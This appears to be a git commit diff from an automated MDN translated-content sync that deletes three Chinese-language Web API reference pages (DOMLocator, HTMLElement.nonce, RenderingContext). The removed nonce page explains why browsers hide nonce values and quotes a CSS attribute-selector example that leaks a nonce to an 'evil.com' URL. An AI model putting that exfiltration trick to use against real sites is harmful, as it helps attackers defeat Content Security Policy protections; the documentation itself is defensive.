diff options
author | MDN <actions@users.noreply.github.com> | 2021-07-07 00:36:00 +0000 |
---|---|---|
committer | MDN <actions@users.noreply.github.com> | 2021-07-07 00:36:00 +0000 |
commit | 751e4b6115b0d8f30a147dcba95a3e21445ba4de (patch) | |
tree | 3d63e324fe754f9b9f371f50394cfd55692ab32e /files/zh-cn/web | |
parent | 4f70db6399a732ca7571c6c8cb952be7c9a85763 (diff) | |
download | translated-content-751e4b6115b0d8f30a147dcba95a3e21445ba4de.tar.gz translated-content-751e4b6115b0d8f30a147dcba95a3e21445ba4de.tar.bz2 translated-content-751e4b6115b0d8f30a147dcba95a3e21445ba4de.zip |
[CRON] sync translated content
Diffstat (limited to 'files/zh-cn/web')
-rw-r--r-- | files/zh-cn/web/api/domlocator/index.html | 50 | ||||
-rw-r--r-- | files/zh-cn/web/api/htmlorforeignelement/nonce/index.html | 59 | ||||
-rw-r--r-- | files/zh-cn/web/api/renderingcontext/index.html | 29 |
3 files changed, 0 insertions, 138 deletions
diff --git a/files/zh-cn/web/api/domlocator/index.html b/files/zh-cn/web/api/domlocator/index.html deleted file mode 100644 index a92dedd3ab..0000000000 --- a/files/zh-cn/web/api/domlocator/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: DOMLocator -slug: Web/API/DOMLocator -translation_of: Web/API/DOMLocator ---- -<p>{{APIRef("DOM")}}{{obsolete_header}}</p> - -<div class="warning"> -<p>NOTE: This is not implemented in Mozilla</p> -</div> - -<p>Indicates a location such as where an error occurred. Returned by DOMError.location.</p> - -<h2 id="Properties">Properties</h2> - -<dl> - <dt>{{domxref("DOMLocator.lineNumber")}} {{ReadOnlyInline}}</dt> - <dd>Returns a positiove integer or -1.</dd> - <dt>{{domxref("DOMLocator.columnNumber")}} {{ReadOnlyInline}}</dt> - <dd>Returns a positiove integer or -1.</dd> - <dt>{{domxref("DOMLocator.byteOffset")}} {{ReadOnlyInline}}</dt> - <dd>Returns a positiove integer or -1.</dd> - <dt>{{domxref("DOMLocator.utf16Offset")}} {{ReadOnlyInline}}</dt> - <dd>Returns a positiove integer or -1.</dd> - <dt>{{domxref("DOMLocator.relatedNode")}} {{ReadOnlyInline}}</dt> - <dd>Returns a positiove integer or -1.</dd> - <dt>{{domxref("DOMLocator.uri")}} {{ReadOnlyInline}}</dt> - <dd>Returns a positiove integer or -1.</dd> -</dl> - -<h2 id="Methods">Methods</h2> - -<p><em>This interface neither implements, nor inherits, any method.</em></p> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName("DOM3 Core", "core.html#Interfaces-DOMLocator", "DOMLocator")}}</td> - <td>{{Spec2("DOM3 Core")}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> diff --git a/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html b/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html deleted file mode 100644 index 39181c40d7..0000000000 --- a/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: HTMLElement.nonce -slug: Web/API/HTMLOrForeignElement/nonce -tags: - - API - - nonce - - 内容安全策略 - - 实验性 - - 属性 -translation_of: Web/API/HTMLOrForeignElement/nonce -original_slug: Web/API/HTMLElement/nonce ---- -<p>{{SeeCompatTable}}{{APIRef("HTML DOM")}}</p> - -<p>{{domxref("HTMLElement")}} 接口的 <strong><code>nonce</code></strong> 属性返回只使用一次的加密数字,被内容安全政策用来决定这次请求是否被允许处理。</p> - -<p>在接下来的实现中,有nonce属性的元素只能在脚本中使用(不可以在其他渠道使用,比如css属性选择器)。</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox notranslate">var <em>nonce</em> = HTMLElement.nonce -HTMLElement.nonce = <em>nonce</em></pre> - -<h3 id="访问nonce属性值">访问nonce属性值</h3> - -<p>以前,并不是所有的浏览器都支持 <code>nonce</code> IDL属性,因此在实际应用场景中,尝试使用<code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Element/getAttribute">getAttribute</a></code> 作为备选:</p> - -<pre class="notranslate">let nonce = script['nonce'] || script.getAttribute('nonce');</pre> - -<p>然而,最新的浏览器版本都隐藏了 <code>nonce</code> 值(返回一个空值)。IDL属(<code>script['nonce']</code>)成为唯一的访问方式。</p> - -<p>隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值,比如下面这种方式:</p> - -<pre class="notranslate">script[nonce~=whatever] { - background: url("https://evil.com/nonce?whatever"); -}</pre> - -<h2 id="说明">说明</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">说明</th> - <th scope="col">状态</th> - <th scope="col">注释</th> - </tr> - <tr> - <td>{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>初始定义</td> - </tr> - </tbody> -</table> - -<h2 id="支持的浏览器">支持的浏览器</h2> - -<div> -<p>{{Compat("api.HTMLElement.nonce")}}</p> -</div> diff --git a/files/zh-cn/web/api/renderingcontext/index.html b/files/zh-cn/web/api/renderingcontext/index.html deleted file mode 100644 index 00b7a39db8..0000000000 --- a/files/zh-cn/web/api/renderingcontext/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: RenderingContext -slug: Web/API/RenderingContext -translation_of: Web/API/RenderingContext ---- -<p>{{APIRef("Canvas API")}}</p> - -<p><code><strong>RenderingContext</strong></code> 是一个辅助类型,描述下面任何一个渲染上下文: {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}} 或者 {{domxref("WebGL2RenderingContext")}} (继承自 <code>WebGLRenderingContext</code>)。</p> - -<p>这是简化规范的辅助类型,它不是一个接口,也没有对象实现它。</p> - -<h2 id="规范描述">规范描述</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('HTML WHATWG', "scripting.html#renderingcontext", "RenderingContext")}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<p> </p> |